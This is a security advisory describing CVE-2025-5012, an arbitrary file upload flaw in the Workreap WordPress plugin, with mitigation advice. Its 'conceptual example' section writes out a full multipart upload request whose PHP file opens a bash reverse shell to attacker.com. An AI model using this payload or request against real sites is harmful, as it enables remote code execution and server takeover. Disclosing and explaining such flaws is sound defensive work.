Overview
The vulnerability, identified as CVE-2025-5012, is a significant security flaw in the Workreap plugin for WordPress, a component of the Workreap – Freelance Marketplace WordPress Theme. This vulnerability allows authenticated attackers to upload arbitrary files to the server of the affected WordPress site, potentially leading to remote code execution. This critical flaw, affecting all versions up to and including 3.3.2, serves as a serious threat to entities relying on the Workreap platform for their digital operations. It’s important to mitigate this vulnerability promptly to prevent potential system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-5012
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage.
Affected Products
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Product | Affected Versions
Workreap Plugin for WordPress | Up to and including 3.3.2
How the Exploit Works
The vulnerability stems from a lack of proper file type validation within the ‘workreap_temp_upload_to_media’ function of the Workreap plugin for WordPress. An authenticated attacker with Subscriber-level access or above can manipulate this flaw to upload arbitrary files to the server hosting the WordPress site. The uploaded files can contain malicious code, which, when executed, can compromise the system or lead to data leakage.
Conceptual Example Code
Below is a conceptual representation of how an attacker might exploit this vulnerability. It involves making an HTTP POST request to upload a malicious file to the server:
POST /wp-content/plugins/Workreap/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the HTTP request is made to the upload endpoint of the Workreap plugin. The uploaded file (‘exploit.php’) contains malicious PHP code designed to open a reverse shell connection to an attacker-controlled server.
Mitigation
As a mitigation measure, it is recommended to apply the vendor’s patch as soon as it is available. In the interim, the use of a web application firewall or intrusion detection systems can help protect against attempts to exploit this vulnerability. Regularly monitoring system logs and network traffic for anomalies can also aid in early detection of potential attacks.